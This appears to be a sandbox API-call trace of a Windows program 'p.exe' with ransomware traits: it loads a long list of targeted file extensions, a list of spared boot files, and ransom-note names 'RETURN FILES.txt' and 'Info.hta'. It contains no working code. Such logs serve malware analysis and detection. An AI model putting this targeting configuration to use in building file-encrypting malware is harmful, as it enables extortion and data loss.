	[0084.726] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d5908 | out: hHeap=0x4a0000) returned 1
	[0084.726] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x50d418, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p.exe")) returned 0x2b
	[0084.726] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x50d418 | out: hHeap=0x4a0000) returned 1
	[0084.726] lstrlenW (lpString="p.exe") returned 5
	[0084.726] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b4320, Size=0x40) returned 0x4d6a58
	[0084.726] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4eddc8, Size=0x20) returned 0x4b4320
	[0084.727] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4eddc8, Size=0x20) returned 0x4d5908
	[0084.727] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d5908, Size=0x40) returned 0x4d6aa0
	[0084.727] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d6aa0, Size=0x80) returned 0x4fb428
	[0084.727] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4fb428, Size=0x100) returned 0x4eb420
	[0084.727] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0084.727] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4eb420 | out: hHeap=0x4a0000) returned 1
	[0084.727] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x50d418, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc
	[0084.727] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x51d420 | out: hHeap=0x4a0000) returned 1
	[0084.727] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x50d418 | out: hHeap=0x4a0000) returned 1
	[0084.727] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4da0a0, Size=0x8) returned 0x4da090
	[0084.727] lstrlenW (lpString="%windir%;") returned 9
	[0084.727] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4320 | out: hHeap=0x4a0000) returned 1
	[0084.727] lstrlenW (lpString="C:\\Windows;") returned 11
	[0084.727] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4fd410 | out: hHeap=0x4a0000) returned 1
	[0084.727] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4edde0, Size=0x20) returned 0x4b4320
	[0084.727] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b4320, Size=0x40) returned 0x4d6aa0
	[0084.727] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d6aa0, Size=0x80) returned 0x4fb428
	[0084.727] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4fb428, Size=0x100) returned 0x4eb420
	[0084.727] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4da0d0, Size=0x8) returned 0x4da0e0
	[0084.727] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4da0e0, Size=0x10) returned 0x4ede28
	[0084.728] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4ede28, Size=0x20) returned 0x4b4320
	[0084.728] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4da0a0, Size=0x8) returned 0x4da0e0
	[0084.728] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4da0b0, Size=0x8) returned 0x4da0a0
	[0084.728] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4da0d0, Size=0x8) returned 0x4da0f0
	[0084.728] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4da0f0, Size=0x10) returned 0x4eded0
	[0084.728] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4eded0, Size=0x20) returned 0x4d5908
	[0084.728] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4da0e0, Size=0x10) returned 0x4eded0
	[0084.728] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4da0a0, Size=0x10) returned 0x4edf00
	[0084.728] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4da0e0, Size=0x8) returned 0x4da0d0
	[0084.728] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4da100, Size=0x8) returned 0x4da110
	[0084.728] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4eded0, Size=0x20) returned 0x4d58b8
	[0084.728] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4edf00, Size=0x20) returned 0x4d5818
	[0084.728] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4da120, Size=0x8) returned 0x4da130
	[0084.728] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91
	[0084.728] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4eb420 | out: hHeap=0x4a0000) returned 1
	[0084.728] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4edf78, Size=0x20) returned 0x4d5930
	[0084.728] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x4fd410, nSize=0x7fff | out: lpDst="C:") returned 0x3
	[0084.728] lstrlenW (lpString="C:\\") returned 3
	[0084.728] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0084.729] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4fd410 | out: hHeap=0x4a0000) returned 1
	[0084.729] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4da160, Size=0x82) returned 0x4eb988
	[0084.729] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4da180, Size=0x100) returned 0x4eba18
	[0084.729] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4eb988, Size=0x104) returned 0x4ebc40
	[0084.729] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4eba18, Size=0x200) returned 0x4ebd50
	[0084.730] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4da170 | out: hHeap=0x4a0000) returned 1
	[0084.731] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4ebd50 | out: hHeap=0x4a0000) returned 1
	[0084.731] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4eb5a0 | out: hHeap=0x4a0000) returned 1
	[0084.731] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4fb5c0 | out: hHeap=0x4a0000) returned 1
	[0084.731] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4edfd8 | out: hHeap=0x4a0000) returned 1
	[0084.731] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4fb648 | out: hHeap=0x4a0000) returned 1
	[0084.731] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4ee008 | out: hHeap=0x4a0000) returned 1
	[0084.731] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4ebc40 | out: hHeap=0x4a0000) returned 1
	[0084.731] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4edff0 | out: hHeap=0x4a0000) returned 1
	[0084.731] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4ebb20 | out: hHeap=0x4a0000) returned 1
	[0084.731] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4eb5b8 | out: hHeap=0x4a0000) returned 1
	[0084.731] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4ebbb0 | out: hHeap=0x4a0000) returned 1
	[0084.731] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4eb5d0 | out: hHeap=0x4a0000) returned 1
	[0084.731] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4edff0, Size=0x20) returned 0x4d5958
	[0084.731] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d5958, Size=0x40) returned 0x4d6aa0
	[0084.731] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4da140 | out: hHeap=0x4a0000) returned 1
	[0084.732] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4edf78 | out: hHeap=0x4a0000) returned 1
	[0084.732] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4eb4f8 | out: hHeap=0x4a0000) returned 1
	[0084.732] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4edfa8 | out: hHeap=0x4a0000) returned 1
	[0084.732] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4fb538 | out: hHeap=0x4a0000) returned 1
	[0084.732] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4edf90 | out: hHeap=0x4a0000) returned 1
	[0084.732] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4da150 | out: hHeap=0x4a0000) returned 1
	[0084.732] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4edfc0 | out: hHeap=0x4a0000) returned 1
	[0084.732] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d7ea0 | out: hHeap=0x4a0000) returned 1
	[0084.732] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d5fb8 | out: hHeap=0x4a0000) returned 1
	[0084.732] lstrlenW (lpString="%systemdrive%") returned 13
	[0084.732] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d5930 | out: hHeap=0x4a0000) returned 1
	[0084.732] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4fb428 | out: hHeap=0x4a0000) returned 1
	[0084.732] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4da120 | out: hHeap=0x4a0000) returned 1
	[0084.732] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x4db400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x100
	[0084.733] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4edfc0, Size=0x20) returned 0x4d5958
	[0084.733] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d5958, Size=0x40) returned 0x4d6ae8
	[0084.733] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d6ae8, Size=0x80) returned 0x4fb428
	[0084.733] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4fb428, Size=0x100) returned 0x4eb988
	[0084.733] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4eb988, Size=0x200) returned 0x4eb988
	[0084.733] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4eb988, Size=0x400) returned 0x4eb988
	[0084.733] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4eb988, Size=0x800) returned 0x4eb988
	[0084.733] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4eb988, Size=0x1000) returned 0x4f0038
	[0084.733] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4da120, Size=0x8) returned 0x4da140
	[0084.734] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4da140, Size=0x10) returned 0x4edfd8
	[0084.734] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4edfd8, Size=0x20) returned 0x4d5958
	[0084.734] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d5958, Size=0x40) returned 0x4d6ae8
	[0084.734] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d6ae8, Size=0x80) returned 0x4fb428
	[0084.734] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4fb428, Size=0x100) returned 0x4f1058
	[0084.734] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f1058, Size=0x200) returned 0x4ebd88
	[0084.734] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4ebd88, Size=0x400) returned 0x4f3040
	[0084.734] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f3040, Size=0x800) returned 0x4f4048
	[0084.734] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776
	[0084.734] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f0038 | out: hHeap=0x4a0000) returned 1
	[0084.734] lstrlenW (lpString="") returned 0
	[0084.734] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f4ec8 | out: hHeap=0x4a0000) returned 1
	[0084.734] lstrlenW (lpString=".4k") returned 3
	[0084.734] lstrlenW (lpString=".4k") returned 3
	[0084.734] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f4ec8 | out: hHeap=0x4a0000) returned 1
	[0084.734] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4ee0, Size=0x20) returned 0x4d5958
	[0084.735] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d5958, Size=0x40) returned 0x4d6ae8
	[0084.735] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d6ae8, Size=0x80) returned 0x4fb428
	[0084.735] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4da2d0, Size=0x8) returned 0x4da2e0
	[0084.735] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4da2e0, Size=0x10) returned 0x4f4ee0
	[0084.735] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4ee0, Size=0x20) returned 0x4d59a8
	[0084.735] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48
	[0084.735] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4fb428 | out: hHeap=0x4a0000) returned 1
	[0084.735] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4f10, Size=0x20) returned 0x4d59d0
	[0084.735] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d59d0, Size=0x40) returned 0x4d6ae8
	[0084.735] lstrlenW (lpString="RETURN FILES.txt") returned 16
	[0084.735] lstrlenW (lpString="RETURN FILES.txt") returned 16
	[0084.735] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d6ae8 | out: hHeap=0x4a0000) returned 1
	[0084.735] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4f10, Size=0x20) returned 0x4d59d0
	[0084.735] lstrlenW (lpString="Info.hta") returned 8
	[0084.735] lstrlenW (lpString="Info.hta") returned 8
	[0084.735] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d59d0 | out: hHeap=0x4a0000) returned 1
	[0084.735] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x51d438, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p.exe")) returned 0x2b
	[0084.735] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x51d438 | out: hHeap=0x4a0000) returned 1
	[0084.735] lstrlenW (lpString="p.exe") returned 5
	[0084.735] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d59a8, Size=0x40) returned 0x4d6ae8
	[0084.735] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4f28, Size=0x20) returned 0x4d59a8
	[0084.736] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4f28, Size=0x20) returned 0x4d59d0
	[0084.736] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d59d0, Size=0x40) returned 0x4d6b30
	[0084.736] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d6b30, Size=0x80) returned 0x4fb428
	[0084.736] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4fb428, Size=0x100) returned 0x4f1058
	[0084.736] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0084.736] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f1058 | out: hHeap=0x4a0000) returned 1
	[0084.736] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x51d438, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc
	[0084.736] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x52d440 | out: hHeap=0x4a0000) returned 1
	[0084.736] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x51d438 | out: hHeap=0x4a0000) returned 1
	[0084.736] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4da2e0, Size=0x8) returned 0x4da2d0
	[0084.736] lstrlenW (lpString="%windir%;") returned 9
	[0084.736] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d59a8 | out: hHeap=0x4a0000) returned 1
	[0084.736] lstrlenW (lpString="C:\\Windows;") returned 11
	[0084.736] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x50d430 | out: hHeap=0x4a0000) returned 1
	[0084.736] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4f40, Size=0x20) returned 0x4d59a8
	[0084.736] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d59a8, Size=0x40) returned 0x4d6b30
	[0084.736] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d6b30, Size=0x80) returned 0x4fb428
	[0084.736] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4fb428, Size=0x100) returned 0x4f1058
	[0084.736] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4da310, Size=0x8) returned 0x4da320
	[0084.736] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4da320, Size=0x10) returned 0x4f4f88
	[0084.736] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4f88, Size=0x20) returned 0x4d59a8
	[0084.736] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4da2e0, Size=0x8) returned 0x4da320
	[0084.737] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4da2f0, Size=0x8) returned 0x4da2e0
	[0084.737] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4da310, Size=0x8) returned 0x4da330
	[0084.737] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4da330, Size=0x10) returned 0x4f5030
	[0084.737] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f5030, Size=0x20) returned 0x4d59d0
	[0084.737] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4da320, Size=0x10) returned 0x4f5030
	[0084.737] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4da2e0, Size=0x10) returned 0x4f0068
	[0084.737] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4da320, Size=0x8) returned 0x4da310
	[0084.737] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4da340, Size=0x8) returned 0x4da350
	[0084.737] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f5030, Size=0x20) returned 0x4d59f8
	[0084.737] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f0068, Size=0x20) returned 0x4d5a20
	[0084.737] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4da360, Size=0x8) returned 0x4da370
	[0084.737] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91
	[0084.737] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f1058 | out: hHeap=0x4a0000) returned 1
	[0084.737] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f00f8, Size=0x20) returned 0x4d5a70
	[0084.737] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x50d430, nSize=0x7fff | out: lpDst="C:") returned 0x3
	[0084.737] lstrlenW (lpString="C:\\") returned 3
	[0084.737] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0084.737] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x50d430 | out: hHeap=0x4a0000) returned 1
	[0084.738] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f3078, Size=0x82) returned 0x4ebe60
	[0084.738] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f3098, Size=0x100) returned 0x4f1058
	[0084.738] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4ebe60, Size=0x104) returned 0x4f08c8
	[0084.738] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f1058, Size=0x200) returned 0x4f5068
	[0085.037] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f3088 | out: hHeap=0x4a0000) returned 1
	[0085.037] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f5068 | out: hHeap=0x4a0000) returned 1
	[0085.037] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f01a0 | out: hHeap=0x4a0000) returned 1
	[0085.037] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4fb648 | out: hHeap=0x4a0000) returned 1
	[0085.037] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f0158 | out: hHeap=0x4a0000) returned 1
	[0085.037] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4fb5c0 | out: hHeap=0x4a0000) returned 1
	[0085.037] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f0188 | out: hHeap=0x4a0000) returned 1
	[0085.037] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f08c8 | out: hHeap=0x4a0000) returned 1
	[0085.037] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f0170 | out: hHeap=0x4a0000) returned 1
	[0085.037] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4ebef0 | out: hHeap=0x4a0000) returned 1
	[0085.037] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f01b8 | out: hHeap=0x4a0000) returned 1
	[0085.037] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f0838 | out: hHeap=0x4a0000) returned 1
	[0085.037] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f01d0 | out: hHeap=0x4a0000) returned 1
	[0085.037] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x6) returned 0x4f3088
	[0085.037] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f01d0
	[0085.037] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f01d0, Size=0x20) returned 0x4d5c28
	[0085.037] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d5c28, Size=0x40) returned 0x4d6c98
	[0085.038] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f01d0
	[0085.038] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f3058 | out: hHeap=0x4a0000) returned 1
	[0085.038] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f00f8 | out: hHeap=0x4a0000) returned 1
	[0085.038] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4ec390 | out: hHeap=0x4a0000) returned 1
	[0085.038] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f0128 | out: hHeap=0x4a0000) returned 1
	[0085.038] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4fb538 | out: hHeap=0x4a0000) returned 1
	[0085.038] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f0110 | out: hHeap=0x4a0000) returned 1
	[0085.038] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f3068 | out: hHeap=0x4a0000) returned 1
	[0085.038] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f0140 | out: hHeap=0x4a0000) returned 1
	[0085.038] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4eb538 | out: hHeap=0x4a0000) returned 1
